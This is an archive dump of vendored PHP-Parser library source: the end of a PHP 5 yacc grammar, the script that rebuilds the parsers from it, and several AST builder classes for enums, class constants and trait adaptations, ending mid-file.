property_declaration { push($1, $3); } ; property_decl_name: T_VARIABLE { $$ = Node\VarLikeIdentifier[parseVar($1)]; } ; property_declaration: property_decl_name { $$ = Stmt\PropertyProperty[$1, null]; } | property_decl_name '=' static_scalar { $$ = Stmt\PropertyProperty[$1, $3]; } ; expr_list: expr_list ',' expr { push($1, $3); } | expr { init($1); } ; for_expr: /* empty */ { $$ = array(); } | expr_list { $$ = $1; } ; expr: variable { $$ = $1; } | list_expr '=' expr { $$ = Expr\Assign[$1, $3]; } | variable '=' expr { $$ = Expr\Assign[$1, $3]; } | variable '=' ampersand variable { $$ = Expr\AssignRef[$1, $4]; } | variable '=' ampersand new_expr { $$ = Expr\AssignRef[$1, $4]; } | new_expr { $$ = $1; } | T_CLONE expr { $$ = Expr\Clone_[$2]; } | variable T_PLUS_EQUAL expr { $$ = Expr\AssignOp\Plus [$1, $3]; } | variable T_MINUS_EQUAL expr { $$ = Expr\AssignOp\Minus [$1, $3]; } | variable T_MUL_EQUAL expr { $$ = Expr\AssignOp\Mul [$1, $3]; } | variable T_DIV_EQUAL expr { $$ = Expr\AssignOp\Div [$1, $3]; } | variable T_CONCAT_EQUAL expr { $$ = Expr\AssignOp\Concat [$1, $3]; } | variable T_MOD_EQUAL expr { $$ = Expr\AssignOp\Mod [$1, $3]; } | variable T_AND_EQUAL expr { $$ = Expr\AssignOp\BitwiseAnd[$1, $3]; } | variable T_OR_EQUAL expr { $$ = Expr\AssignOp\BitwiseOr [$1, $3]; } | variable T_XOR_EQUAL expr { $$ = Expr\AssignOp\BitwiseXor[$1, $3]; } | variable T_SL_EQUAL expr { $$ = Expr\AssignOp\ShiftLeft [$1, $3]; } | variable T_SR_EQUAL expr { $$ = Expr\AssignOp\ShiftRight[$1, $3]; } | variable T_POW_EQUAL expr { $$ = Expr\AssignOp\Pow [$1, $3]; } | variable T_COALESCE_EQUAL expr { $$ = Expr\AssignOp\Coalesce [$1, $3]; } | variable T_INC { $$ = Expr\PostInc[$1]; } | T_INC variable { $$ = Expr\PreInc [$2]; } | variable T_DEC { $$ = Expr\PostDec[$1]; } | T_DEC variable { $$ = Expr\PreDec [$2]; } | expr T_BOOLEAN_OR expr { $$ = Expr\BinaryOp\BooleanOr [$1, $3]; } | expr T_BOOLEAN_AND expr { $$ = Expr\BinaryOp\BooleanAnd[$1, $3]; } | expr T_LOGICAL_OR expr { $$ = Expr\BinaryOp\LogicalOr [$1, $3]; } | expr T_LOGICAL_AND expr { $$ = Expr\BinaryOp\LogicalAnd[$1, $3]; } | expr T_LOGICAL_XOR expr { $$ = Expr\BinaryOp\LogicalXor[$1, $3]; } | expr '|' expr { $$ = Expr\BinaryOp\BitwiseOr [$1, $3]; } | expr T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG expr { $$ = Expr\BinaryOp\BitwiseAnd[$1, $3]; } | expr T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG expr { $$ = Expr\BinaryOp\BitwiseAnd[$1, $3]; } | expr '^' expr { $$ = Expr\BinaryOp\BitwiseXor[$1, $3]; } | expr '.' expr { $$ = Expr\BinaryOp\Concat [$1, $3]; } | expr '+' expr { $$ = Expr\BinaryOp\Plus [$1, $3]; } | expr '-' expr { $$ = Expr\BinaryOp\Minus [$1, $3]; } | expr '*' expr { $$ = Expr\BinaryOp\Mul [$1, $3]; } | expr '/' expr { $$ = Expr\BinaryOp\Div [$1, $3]; } | expr '%' expr { $$ = Expr\BinaryOp\Mod [$1, $3]; } | expr T_SL expr { $$ = Expr\BinaryOp\ShiftLeft [$1, $3]; } | expr T_SR expr { $$ = Expr\BinaryOp\ShiftRight[$1, $3]; } | expr T_POW expr { $$ = Expr\BinaryOp\Pow [$1, $3]; } | '+' expr %prec T_INC { $$ = Expr\UnaryPlus [$2]; } | '-' expr %prec T_INC { $$ = Expr\UnaryMinus[$2]; } | '!' expr { $$ = Expr\BooleanNot[$2]; } | '~' expr { $$ = Expr\BitwiseNot[$2]; } | expr T_IS_IDENTICAL expr { $$ = Expr\BinaryOp\Identical [$1, $3]; } | expr T_IS_NOT_IDENTICAL expr { $$ = Expr\BinaryOp\NotIdentical [$1, $3]; } | expr T_IS_EQUAL expr { $$ = Expr\BinaryOp\Equal [$1, $3]; } | expr T_IS_NOT_EQUAL expr { $$ = Expr\BinaryOp\NotEqual [$1, $3]; } | expr T_SPACESHIP expr { $$ = Expr\BinaryOp\Spaceship [$1, $3]; } | expr '<' expr { $$ = Expr\BinaryOp\Smaller [$1, $3]; } | expr T_IS_SMALLER_OR_EQUAL expr { $$ = Expr\BinaryOp\SmallerOrEqual[$1, $3]; } | expr '>' expr { $$ = Expr\BinaryOp\Greater [$1, $3]; } | expr T_IS_GREATER_OR_EQUAL expr { $$ = Expr\BinaryOp\GreaterOrEqual[$1, $3]; } | expr T_INSTANCEOF class_name_reference { $$ = Expr\Instanceof_[$1, $3]; } | parentheses_expr { $$ = $1; } /* we need a separate '(' new_expr ')' rule to avoid problems caused by a s/r conflict */ | '(' new_expr ')' { $$ = $2; } | expr '?' expr ':' expr { $$ = Expr\Ternary[$1, $3, $5]; } | expr '?' ':' expr { $$ = Expr\Ternary[$1, null, $4]; } | expr T_COALESCE expr { $$ = Expr\BinaryOp\Coalesce[$1, $3]; } | T_ISSET '(' variables_list ')' { $$ = Expr\Isset_[$3]; } | T_EMPTY '(' expr ')' { $$ = Expr\Empty_[$3]; } | T_INCLUDE expr { $$ = Expr\Include_[$2, Expr\Include_::TYPE_INCLUDE]; } | T_INCLUDE_ONCE expr { $$ = Expr\Include_[$2, Expr\Include_::TYPE_INCLUDE_ONCE]; } | T_EVAL parentheses_expr { $$ = Expr\Eval_[$2]; } | T_REQUIRE expr { $$ = Expr\Include_[$2, Expr\Include_::TYPE_REQUIRE]; } | T_REQUIRE_ONCE expr { $$ = Expr\Include_[$2, Expr\Include_::TYPE_REQUIRE_ONCE]; } | T_INT_CAST expr { $$ = Expr\Cast\Int_ [$2]; } | T_DOUBLE_CAST expr { $attrs = attributes(); $attrs['kind'] = $this->getFloatCastKind($1); $$ = new Expr\Cast\Double($2, $attrs); } | T_STRING_CAST expr { $$ = Expr\Cast\String_ [$2]; } | T_ARRAY_CAST expr { $$ = Expr\Cast\Array_ [$2]; } | T_OBJECT_CAST expr { $$ = Expr\Cast\Object_ [$2]; } | T_BOOL_CAST expr { $$ = Expr\Cast\Bool_ [$2]; } | T_UNSET_CAST expr { $$ = Expr\Cast\Unset_ [$2]; } | T_EXIT exit_expr { $attrs = attributes(); $attrs['kind'] = strtolower($1) === 'exit' ? Expr\Exit_::KIND_EXIT : Expr\Exit_::KIND_DIE; $$ = new Expr\Exit_($2, $attrs); } | '@' expr { $$ = Expr\ErrorSuppress[$2]; } | scalar { $$ = $1; } | array_expr { $$ = $1; } | scalar_dereference { $$ = $1; } | '`' backticks_expr '`' { $$ = Expr\ShellExec[$2]; } | T_PRINT expr { $$ = Expr\Print_[$2]; } | T_YIELD { $$ = Expr\Yield_[null, null]; } | T_YIELD_FROM expr { $$ = Expr\YieldFrom[$2]; } | T_FUNCTION optional_ref '(' parameter_list ')' lexical_vars optional_return_type '{' inner_statement_list '}' { $$ = Expr\Closure[['static' => false, 'byRef' => $2, 'params' => $4, 'uses' => $6, 'returnType' => $7, 'stmts' => $9]]; } | T_STATIC T_FUNCTION optional_ref '(' parameter_list ')' lexical_vars optional_return_type '{' inner_statement_list '}' { $$ = Expr\Closure[['static' => true, 'byRef' => $3, 'params' => $5, 'uses' => $7, 'returnType' => $8, 'stmts' => $10]]; } ; parentheses_expr: '(' expr ')' { $$ = $2; } | '(' yield_expr ')' { $$ = $2; } ; yield_expr: T_YIELD expr { $$ = Expr\Yield_[$2, null]; } | T_YIELD expr T_DOUBLE_ARROW expr { $$ = Expr\Yield_[$4, $2]; } ; array_expr: T_ARRAY '(' array_pair_list ')' { $attrs = attributes(); $attrs['kind'] = Expr\Array_::KIND_LONG; $$ = new Expr\Array_($3, $attrs); } | '[' array_pair_list ']' { $attrs = attributes(); $attrs['kind'] = Expr\Array_::KIND_SHORT; $$ = new Expr\Array_($2, $attrs); } ; scalar_dereference: array_expr '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | T_CONSTANT_ENCAPSED_STRING '[' dim_offset ']' { $attrs = attributes(); $attrs['kind'] = strKind($1); $$ = Expr\ArrayDimFetch[new Scalar\String_(Scalar\String_::parse($1), $attrs), $3]; } | constant '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | scalar_dereference '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } /* alternative array syntax missing intentionally */ ; anonymous_class: T_CLASS ctor_arguments extends_from implements_list '{' class_statement_list '}' { $$ = array(Stmt\Class_[null, ['type' => 0, 'extends' => $3, 'implements' => $4, 'stmts' => $6]], $2); $this->checkClass($$[0], -1); } ; new_expr: T_NEW class_name_reference ctor_arguments { $$ = Expr\New_[$2, $3]; } | T_NEW anonymous_class { list($class, $ctorArgs) = $2; $$ = Expr\New_[$class, $ctorArgs]; } ; lexical_vars: /* empty */ { $$ = array(); } | T_USE '(' lexical_var_list ')' { $$ = $3; } ; lexical_var_list: lexical_var { init($1); } | lexical_var_list ',' lexical_var { push($1, $3); } ; lexical_var: optional_ref plain_variable { $$ = Expr\ClosureUse[$2, $1]; } ; function_call: name argument_list { $$ = Expr\FuncCall[$1, $2]; } | class_name_or_var T_PAAMAYIM_NEKUDOTAYIM identifier_ex argument_list { $$ = Expr\StaticCall[$1, $3, $4]; } | class_name_or_var T_PAAMAYIM_NEKUDOTAYIM '{' expr '}' argument_list { $$ = Expr\StaticCall[$1, $4, $6]; } | static_property argument_list { $$ = $this->fixupPhp5StaticPropCall($1, $2, attributes()); } | variable_without_objects argument_list { $$ = Expr\FuncCall[$1, $2]; } | function_call '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } /* alternative array syntax missing intentionally */ ; class_name: T_STATIC { $$ = Name[$1]; } | name { $$ = $1; } ; name: T_STRING { $$ = Name[$1]; } | T_NAME_QUALIFIED { $$ = Name[$1]; } | T_NAME_FULLY_QUALIFIED { $$ = Name\FullyQualified[substr($1, 1)]; } | T_NAME_RELATIVE { $$ = Name\Relative[substr($1, 10)]; } ; class_name_reference: class_name { $$ = $1; } | dynamic_class_name_reference { $$ = $1; } ; dynamic_class_name_reference: object_access_for_dcnr { $$ = $1; } | base_variable { $$ = $1; } ; class_name_or_var: class_name { $$ = $1; } | reference_variable { $$ = $1; } ; object_access_for_dcnr: base_variable T_OBJECT_OPERATOR object_property { $$ = Expr\PropertyFetch[$1, $3]; } | object_access_for_dcnr T_OBJECT_OPERATOR object_property { $$ = Expr\PropertyFetch[$1, $3]; } | object_access_for_dcnr '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | object_access_for_dcnr '{' expr '}' { $$ = Expr\ArrayDimFetch[$1, $3]; } ; exit_expr: /* empty */ { $$ = null; } | '(' ')' { $$ = null; } | parentheses_expr { $$ = $1; } ; backticks_expr: /* empty */ { $$ = array(); } | T_ENCAPSED_AND_WHITESPACE { $$ = array(Scalar\EncapsedStringPart[Scalar\String_::parseEscapeSequences($1, '`', false)]); } | encaps_list { parseEncapsed($1, '`', false); $$ = $1; } ; ctor_arguments: /* empty */ { $$ = array(); } | argument_list { $$ = $1; } ; common_scalar: T_LNUMBER { $$ = $this->parseLNumber($1, attributes(), true); } | T_DNUMBER { $$ = Scalar\DNumber[Scalar\DNumber::parse($1)]; } | T_CONSTANT_ENCAPSED_STRING { $attrs = attributes(); $attrs['kind'] = strKind($1); $$ = new Scalar\String_(Scalar\String_::parse($1, false), $attrs); } | T_LINE { $$ = Scalar\MagicConst\Line[]; } | T_FILE { $$ = Scalar\MagicConst\File[]; } | T_DIR { $$ = Scalar\MagicConst\Dir[]; } | T_CLASS_C { $$ = Scalar\MagicConst\Class_[]; } | T_TRAIT_C { $$ = Scalar\MagicConst\Trait_[]; } | T_METHOD_C { $$ = Scalar\MagicConst\Method[]; } | T_FUNC_C { $$ = Scalar\MagicConst\Function_[]; } | T_NS_C { $$ = Scalar\MagicConst\Namespace_[]; } | T_START_HEREDOC T_ENCAPSED_AND_WHITESPACE T_END_HEREDOC { $$ = $this->parseDocString($1, $2, $3, attributes(), stackAttributes(#3), false); } | T_START_HEREDOC T_END_HEREDOC { $$ = $this->parseDocString($1, '', $2, attributes(), stackAttributes(#2), false); } ; static_scalar: common_scalar { $$ = $1; } | class_name T_PAAMAYIM_NEKUDOTAYIM identifier_ex { $$ = Expr\ClassConstFetch[$1, $3]; } | name { $$ = Expr\ConstFetch[$1]; } | T_ARRAY '(' static_array_pair_list ')' { $$ = Expr\Array_[$3]; } | '[' static_array_pair_list ']' { $$ = Expr\Array_[$2]; } | static_operation { $$ = $1; } ; static_operation: static_scalar T_BOOLEAN_OR static_scalar { $$ = Expr\BinaryOp\BooleanOr [$1, $3]; } | static_scalar T_BOOLEAN_AND static_scalar { $$ = Expr\BinaryOp\BooleanAnd[$1, $3]; } | static_scalar T_LOGICAL_OR static_scalar { $$ = Expr\BinaryOp\LogicalOr [$1, $3]; } | static_scalar T_LOGICAL_AND static_scalar { $$ = Expr\BinaryOp\LogicalAnd[$1, $3]; } | static_scalar T_LOGICAL_XOR static_scalar { $$ = Expr\BinaryOp\LogicalXor[$1, $3]; } | static_scalar '|' static_scalar { $$ = Expr\BinaryOp\BitwiseOr [$1, $3]; } | static_scalar T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG static_scalar { $$ = Expr\BinaryOp\BitwiseAnd[$1, $3]; } | static_scalar T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG static_scalar { $$ = Expr\BinaryOp\BitwiseAnd[$1, $3]; } | static_scalar '^' static_scalar { $$ = Expr\BinaryOp\BitwiseXor[$1, $3]; } | static_scalar '.' static_scalar { $$ = Expr\BinaryOp\Concat [$1, $3]; } | static_scalar '+' static_scalar { $$ = Expr\BinaryOp\Plus [$1, $3]; } | static_scalar '-' static_scalar { $$ = Expr\BinaryOp\Minus [$1, $3]; } | static_scalar '*' static_scalar { $$ = Expr\BinaryOp\Mul [$1, $3]; } | static_scalar '/' static_scalar { $$ = Expr\BinaryOp\Div [$1, $3]; } | static_scalar '%' static_scalar { $$ = Expr\BinaryOp\Mod [$1, $3]; } | static_scalar T_SL static_scalar { $$ = Expr\BinaryOp\ShiftLeft [$1, $3]; } | static_scalar T_SR static_scalar { $$ = Expr\BinaryOp\ShiftRight[$1, $3]; } | static_scalar T_POW static_scalar { $$ = Expr\BinaryOp\Pow [$1, $3]; } | '+' static_scalar %prec T_INC { $$ = Expr\UnaryPlus [$2]; } | '-' static_scalar %prec T_INC { $$ = Expr\UnaryMinus[$2]; } | '!' static_scalar { $$ = Expr\BooleanNot[$2]; } | '~' static_scalar { $$ = Expr\BitwiseNot[$2]; } | static_scalar T_IS_IDENTICAL static_scalar { $$ = Expr\BinaryOp\Identical [$1, $3]; } | static_scalar T_IS_NOT_IDENTICAL static_scalar { $$ = Expr\BinaryOp\NotIdentical [$1, $3]; } | static_scalar T_IS_EQUAL static_scalar { $$ = Expr\BinaryOp\Equal [$1, $3]; } | static_scalar T_IS_NOT_EQUAL static_scalar { $$ = Expr\BinaryOp\NotEqual [$1, $3]; } | static_scalar '<' static_scalar { $$ = Expr\BinaryOp\Smaller [$1, $3]; } | static_scalar T_IS_SMALLER_OR_EQUAL static_scalar { $$ = Expr\BinaryOp\SmallerOrEqual[$1, $3]; } | static_scalar '>' static_scalar { $$ = Expr\BinaryOp\Greater [$1, $3]; } | static_scalar T_IS_GREATER_OR_EQUAL static_scalar { $$ = Expr\BinaryOp\GreaterOrEqual[$1, $3]; } | static_scalar '?' static_scalar ':' static_scalar { $$ = Expr\Ternary[$1, $3, $5]; } | static_scalar '?' ':' static_scalar { $$ = Expr\Ternary[$1, null, $4]; } | static_scalar '[' static_scalar ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | '(' static_scalar ')' { $$ = $2; } ; constant: name { $$ = Expr\ConstFetch[$1]; } | class_name_or_var T_PAAMAYIM_NEKUDOTAYIM identifier_ex { $$ = Expr\ClassConstFetch[$1, $3]; } ; scalar: common_scalar { $$ = $1; } | constant { $$ = $1; } | '"' encaps_list '"' { $attrs = attributes(); $attrs['kind'] = Scalar\String_::KIND_DOUBLE_QUOTED; parseEncapsed($2, '"', true); $$ = new Scalar\Encapsed($2, $attrs); } | T_START_HEREDOC encaps_list T_END_HEREDOC { $$ = $this->parseDocString($1, $2, $3, attributes(), stackAttributes(#3), true); } ; static_array_pair_list: /* empty */ { $$ = array(); } | non_empty_static_array_pair_list optional_comma { $$ = $1; } ; optional_comma: /* empty */ | ',' ; non_empty_static_array_pair_list: non_empty_static_array_pair_list ',' static_array_pair { push($1, $3); } | static_array_pair { init($1); } ; static_array_pair: static_scalar T_DOUBLE_ARROW static_scalar { $$ = Expr\ArrayItem[$3, $1, false]; } | static_scalar { $$ = Expr\ArrayItem[$1, null, false]; } ; variable: object_access { $$ = $1; } | base_variable { $$ = $1; } | function_call { $$ = $1; } | new_expr_array_deref { $$ = $1; } ; new_expr_array_deref: '(' new_expr ')' '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$2, $5]; } | new_expr_array_deref '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } /* alternative array syntax missing intentionally */ ; object_access: variable_or_new_expr T_OBJECT_OPERATOR object_property { $$ = Expr\PropertyFetch[$1, $3]; } | variable_or_new_expr T_OBJECT_OPERATOR object_property argument_list { $$ = Expr\MethodCall[$1, $3, $4]; } | object_access argument_list { $$ = Expr\FuncCall[$1, $2]; } | object_access '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | object_access '{' expr '}' { $$ = Expr\ArrayDimFetch[$1, $3]; } ; variable_or_new_expr: variable { $$ = $1; } | '(' new_expr ')' { $$ = $2; } ; variable_without_objects: reference_variable { $$ = $1; } | '$' variable_without_objects { $$ = Expr\Variable[$2]; } ; base_variable: variable_without_objects { $$ = $1; } | static_property { $$ = $1; } ; static_property: class_name_or_var T_PAAMAYIM_NEKUDOTAYIM '$' reference_variable { $$ = Expr\StaticPropertyFetch[$1, $4]; } | static_property_with_arrays { $$ = $1; } ; static_property_simple_name: T_VARIABLE { $var = parseVar($1); $$ = \is_string($var) ? Node\VarLikeIdentifier[$var] : $var; } ; static_property_with_arrays: class_name_or_var T_PAAMAYIM_NEKUDOTAYIM static_property_simple_name { $$ = Expr\StaticPropertyFetch[$1, $3]; } | class_name_or_var T_PAAMAYIM_NEKUDOTAYIM '$' '{' expr '}' { $$ = Expr\StaticPropertyFetch[$1, $5]; } | static_property_with_arrays '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | static_property_with_arrays '{' expr '}' { $$ = Expr\ArrayDimFetch[$1, $3]; } ; reference_variable: reference_variable '[' dim_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | reference_variable '{' expr '}' { $$ = Expr\ArrayDimFetch[$1, $3]; } | plain_variable { $$ = $1; } | '$' '{' expr '}' { $$ = Expr\Variable[$3]; } ; dim_offset: /* empty */ { $$ = null; } | expr { $$ = $1; } ; object_property: identifier { $$ = $1; } | '{' expr '}' { $$ = $2; } | variable_without_objects { $$ = $1; } | error { $$ = Expr\Error[]; $this->errorState = 2; } ; list_expr: T_LIST '(' list_expr_elements ')' { $$ = Expr\List_[$3]; } ; list_expr_elements: list_expr_elements ',' list_expr_element { push($1, $3); } | list_expr_element { init($1); } ; list_expr_element: variable { $$ = Expr\ArrayItem[$1, null, false]; } | list_expr { $$ = Expr\ArrayItem[$1, null, false]; } | /* empty */ { $$ = null; } ; array_pair_list: /* empty */ { $$ = array(); } | non_empty_array_pair_list optional_comma { $$ = $1; } ; non_empty_array_pair_list: non_empty_array_pair_list ',' array_pair { push($1, $3); } | array_pair { init($1); } ; array_pair: expr T_DOUBLE_ARROW expr { $$ = Expr\ArrayItem[$3, $1, false]; } | expr { $$ = Expr\ArrayItem[$1, null, false]; } | expr T_DOUBLE_ARROW ampersand variable { $$ = Expr\ArrayItem[$4, $1, true]; } | ampersand variable { $$ = Expr\ArrayItem[$2, null, true]; } | T_ELLIPSIS expr { $$ = Expr\ArrayItem[$2, null, false, attributes(), true]; } ; encaps_list: encaps_list encaps_var { push($1, $2); } | encaps_list encaps_string_part { push($1, $2); } | encaps_var { init($1); } | encaps_string_part encaps_var { init($1, $2); } ; encaps_string_part: T_ENCAPSED_AND_WHITESPACE { $$ = Scalar\EncapsedStringPart[$1]; } ; encaps_str_varname: T_STRING_VARNAME { $$ = Expr\Variable[$1]; } ; encaps_var: plain_variable { $$ = $1; } | plain_variable '[' encaps_var_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | plain_variable T_OBJECT_OPERATOR identifier { $$ = Expr\PropertyFetch[$1, $3]; } | T_DOLLAR_OPEN_CURLY_BRACES expr '}' { $$ = Expr\Variable[$2]; } | T_DOLLAR_OPEN_CURLY_BRACES T_STRING_VARNAME '}' { $$ = Expr\Variable[$2]; } | T_DOLLAR_OPEN_CURLY_BRACES encaps_str_varname '[' expr ']' '}' { $$ = Expr\ArrayDimFetch[$2, $4]; } | T_CURLY_OPEN variable '}' { $$ = $2; } ; encaps_var_offset: T_STRING { $$ = Scalar\String_[$1]; } | T_NUM_STRING { $$ = $this->parseNumString($1, attributes()); } | plain_variable { $$ = $1; } ; %% res/readability/vendor/nikic/php-parser/grammar/rebuildParsers.php000064400000004265147577714370021463 0ustar00 'Php5', __DIR__ . '/php7.y' => 'Php7', ]; $tokensFile = __DIR__ . '/tokens.y'; $tokensTemplate = __DIR__ . '/tokens.template'; $skeletonFile = __DIR__ . '/parser.template'; $tmpGrammarFile = __DIR__ . '/tmp_parser.phpy'; $tmpResultFile = __DIR__ . '/tmp_parser.php'; $resultDir = __DIR__ . '/../lib/PhpParser/Parser'; $tokensResultsFile = $resultDir . '/Tokens.php'; $kmyacc = getenv('KMYACC'); if (!$kmyacc) { // Use phpyacc from dev dependencies by default. $kmyacc = __DIR__ . '/../vendor/bin/phpyacc'; } $options = array_flip($argv); $optionDebug = isset($options['--debug']); $optionKeepTmpGrammar = isset($options['--keep-tmp-grammar']); /////////////////// /// Main script /// /////////////////// $tokens = file_get_contents($tokensFile); foreach ($grammarFileToName as $grammarFile => $name) { echo "Building temporary $name grammar file.\n"; $grammarCode = file_get_contents($grammarFile); $grammarCode = str_replace('%tokens', $tokens, $grammarCode); $grammarCode = preprocessGrammar($grammarCode); file_put_contents($tmpGrammarFile, $grammarCode); $additionalArgs = $optionDebug ? '-t -v' : ''; echo "Building $name parser.\n"; $output = execCmd("$kmyacc $additionalArgs -m $skeletonFile -p $name $tmpGrammarFile"); $resultCode = file_get_contents($tmpResultFile); $resultCode = removeTrailingWhitespace($resultCode); ensureDirExists($resultDir); file_put_contents("$resultDir/$name.php", $resultCode); unlink($tmpResultFile); echo "Building token definition.\n"; $output = execCmd("$kmyacc -m $tokensTemplate $tmpGrammarFile"); rename($tmpResultFile, $tokensResultsFile); if (!$optionKeepTmpGrammar) { unlink($tmpGrammarFile); } } //////////////////////////////// /// Utility helper functions /// //////////////////////////////// function ensureDirExists($dir) { if (!is_dir($dir)) { mkdir($dir, 0777, true); } } function execCmd($cmd) { $output = trim(shell_exec("$cmd 2>&1")); if ($output !== "") { echo "> " . $cmd . "\n"; echo $output; } return $output; } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Enum_.php000064400000005707147577714370022154 0ustar00name = $name; } /** * Sets the scalar type. * * @param string|Identifier $type * * @return $this */ public function setScalarType($scalarType) { $this->scalarType = BuilderHelpers::normalizeType($scalarType); return $this; } /** * Implements one or more interfaces. * * @param Name|string ...$interfaces Names of interfaces to implement * * @return $this The builder instance (for fluid interface) */ public function implement(...$interfaces) { foreach ($interfaces as $interface) { $this->implements[] = BuilderHelpers::normalizeName($interface); } return $this; } /** * Adds a statement. * * @param Stmt|PhpParser\Builder $stmt The statement to add * * @return $this The builder instance (for fluid interface) */ public function addStmt($stmt) { $stmt = BuilderHelpers::normalizeNode($stmt); $targets = [ Stmt\TraitUse::class => &$this->uses, Stmt\EnumCase::class => &$this->enumCases, Stmt\ClassConst::class => &$this->constants, Stmt\ClassMethod::class => &$this->methods, ]; $class = \get_class($stmt); if (!isset($targets[$class])) { throw new \LogicException(sprintf('Unexpected node of type "%s"', $stmt->getType())); } $targets[$class][] = $stmt; return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built class node. * * @return Stmt\Enum_ The built enum node */ public function getNode() : PhpParser\Node { return new Stmt\Enum_($this->name, [ 'scalarType' => $this->scalarType, 'implements' => $this->implements, 'stmts' => array_merge($this->uses, $this->enumCases, $this->constants, $this->methods), 'attrGroups' => $this->attributeGroups, ], $this->attributes); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/ClassConst.php000064400000006562147577714370023165 0ustar00constants = [new Const_($name, BuilderHelpers::normalizeValue($value))]; } /** * Add another constant to const group * * @param string|Identifier $name Name * @param Node\Expr|bool|null|int|float|string|array $value Value * * @return $this The builder instance (for fluid interface) */ public function addConst($name, $value) { $this->constants[] = new Const_($name, BuilderHelpers::normalizeValue($value)); return $this; } /** * Makes the constant public. * * @return $this The builder instance (for fluid interface) */ public function makePublic() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_PUBLIC); return $this; } /** * Makes the constant protected. * * @return $this The builder instance (for fluid interface) */ public function makeProtected() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_PROTECTED); return $this; } /** * Makes the constant private. * * @return $this The builder instance (for fluid interface) */ public function makePrivate() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_PRIVATE); return $this; } /** * Makes the constant final. * * @return $this The builder instance (for fluid interface) */ public function makeFinal() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_FINAL); return $this; } /** * Sets doc comment for the constant. * * @param PhpParser\Comment\Doc|string $docComment Doc comment to set * * @return $this The builder instance (for fluid interface) */ public function setDocComment($docComment) { $this->attributes = [ 'comments' => [BuilderHelpers::normalizeDocComment($docComment)] ]; return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built class node. * * @return Stmt\ClassConst The built constant node */ public function getNode(): PhpParser\Node { return new Stmt\ClassConst( $this->constants, $this->flags, $this->attributes, $this->attributeGroups ); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUseAdaptation.php000064400000010130147577714370024640 0ustar00type = self::TYPE_UNDEFINED; $this->trait = is_null($trait)? null: BuilderHelpers::normalizeName($trait); $this->method = BuilderHelpers::normalizeIdentifier($method); } /** * Sets alias of method. * * @param Node\Identifier|string $alias Alias for adaptated method * * @return $this The builder instance (for fluid interface) */ public function as($alias) { if ($this->type === self::TYPE_UNDEFINED) { $this->type = self::TYPE_ALIAS; } if ($this->type !== self::TYPE_ALIAS) { throw new \LogicException('Cannot set alias for not alias adaptation buider'); } $this->alias = $alias; return $this; } /** * Sets adaptated method public. * * @return $this The builder instance (for fluid interface) */ public function makePublic() { $this->setModifier(Stmt\Class_::MODIFIER_PUBLIC); return $this; } /** * Sets adaptated method protected. * * @return $this The builder instance (for fluid interface) */ public function makeProtected() { $this->setModifier(Stmt\Class_::MODIFIER_PROTECTED); return $this; } /** * Sets adaptated method private. * * @return $this The builder instance (for fluid interface) */ public function makePrivate() { $this->setModifier(Stmt\Class_::MODIFIER_PRIVATE); return $this; } /** * Adds overwritten traits. * * @param Node\Name|string ...$traits Traits for overwrite * * @return $this The builder instance (for fluid interface) */ public function insteadof(...$traits) { if ($this->type === self::TYPE_UNDEFINED) { if (is_null($this->trait)) { throw new \LogicException('Precedence adaptation must have trait'); } $this->type = self::TYPE_PRECEDENCE; } if ($this->type !== self::TYPE_PRECEDENCE) { throw new \LogicException('Cannot add overwritten traits for not precedence adaptation buider'); } foreach ($traits as $trait) { $this->insteadof[] = BuilderHelpers::normalizeName($trait); } return $this; } protected function setModifier(int $modifier) { if ($this->type === self::TYPE_UNDEFINED) { $this->type = self::TYPE_ALIAS; } if ($this->type !== self::TYPE_ALIAS) { throw new \LogicException('Cannot set access modifier for not alias adaptation buider'); } if (is_null($this->modifier)) { $this->modifier = $modifier; } else { throw new \LogicException('Multiple access type modifiers are not allowed'); } } /** * Returns the built node. * * @return Node The built node */ public function getNode() : Node { switch ($this->type) { case self::TYPE_ALIAS: return new Stmt\TraitUseAdaptation\Alias($this->trait, $this->method, $this->modifier, $this->alias); case self::TYPE_PRECEDENCE: return new Stmt\TraitUseAdaptation\Precedence($this->trait, $this->method, $this->insteadof); default: throw new \LogicException('Type of adaptation is not defined'); } } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/FunctionLike.php000064400000003311147577714370023470 0ustar00returnByRef = true; return $this; } /** * Adds a parameter. * * @param Node\Param|Param $param The parameter to add * * @return $this The builder instance (for fluid interface) */ public function addParam($param) { $param = BuilderHelpers::normalizeNode($param); if (!$param instanceof Node\Param) { throw new \LogicException(sprintf('Expected parameter node, got "%s"', $param->getType())); } $this->params[] = $param; return $this; } /** * Adds multiple parameters. * * @param array $params The parameters to add * * @return $this The builder instance (for fluid 